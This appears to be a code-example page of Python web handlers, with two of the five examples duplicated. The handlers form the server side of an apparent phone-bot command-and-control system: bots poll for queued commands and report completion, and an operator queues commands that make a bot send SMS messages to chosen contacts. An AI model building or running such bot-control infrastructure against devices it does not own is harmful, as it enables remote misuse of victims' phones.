예제 #1
0
 def get(self, *arg, **kwargs):
     ''' Bot reports here when a remote command has been completed successfully '''
     if 0 < RemoteCommand.qsize(self.bot.id):
         remote_command = RemoteCommand.pop(self.bot.id)
         remote_command.completed = True
         self.dbsession.add(remote_command)
         self.dbsession.flush()
     self.write('ok')
     self.finish()
예제 #2
0
 def get(self, *arg, **kwargs):
     ''' Bot reports here when a remote command has been completed successfully '''
     if 0 < RemoteCommand.qsize(self.bot.id):
         remote_command = RemoteCommand.pop(self.bot.id)
         remote_command.completed = True
         self.dbsession.add(remote_command)
         self.dbsession.flush()
     self.write('ok')
     self.finish()
예제 #3
0
 def get(self, *args, **kwargs):
     ''' Updates the last_seen, sends commands if they exist '''
     self.bot.last_seen = datetime.now()
     if 0 < RemoteCommand.qsize(self.bot.id):
         remote_command = RemoteCommand.pop(self.bot.id)
         self.write(remote_command.command)
     else:
         self.write("nop")
     self.dbsession.add(self.bot)
     self.dbsession.flush()
     self.finish()
예제 #4
0
 def get(self, *args, **kwargs):
     ''' Updates the last_seen, sends commands if they exist '''
     self.bot.last_seen = datetime.now()
     if 0 < RemoteCommand.qsize(self.bot.id):
         remote_command = RemoteCommand.pop(self.bot.id)
         self.write(remote_command.command)
     else:
         self.write("nop")
     self.dbsession.add(self.bot)
     self.dbsession.flush()
     self.finish()
예제 #5
0
 def post(self, *args, **kwargs):
     ''' Creates SMS send message commands '''
     try:
         bot_id = self.get_argument("bot-id")
         contact_id = self.get_argument("sms-contact")
         text_message = self.get_argument("sms-text")
     except:
         self.render("user/error.html", operation = "Send SMS", errors = "Missing parameters")
         return
     bot = PhoneBot.by_id(bot_id)
     cmd = {
         'op': 'sms', 
         'phone_number': Contact.by_id(contact_id).phone_number,
         'message': text_message,
     }
     rcommand = RemoteCommand(
         phone_bot_id = bot.id,
         command = json.dumps(cmd).encode('utf-8', 'ignore'),
     )
     self.dbsession.add(rcommand)
     self.dbsession.flush()
     self.render("user/smssuccess.html")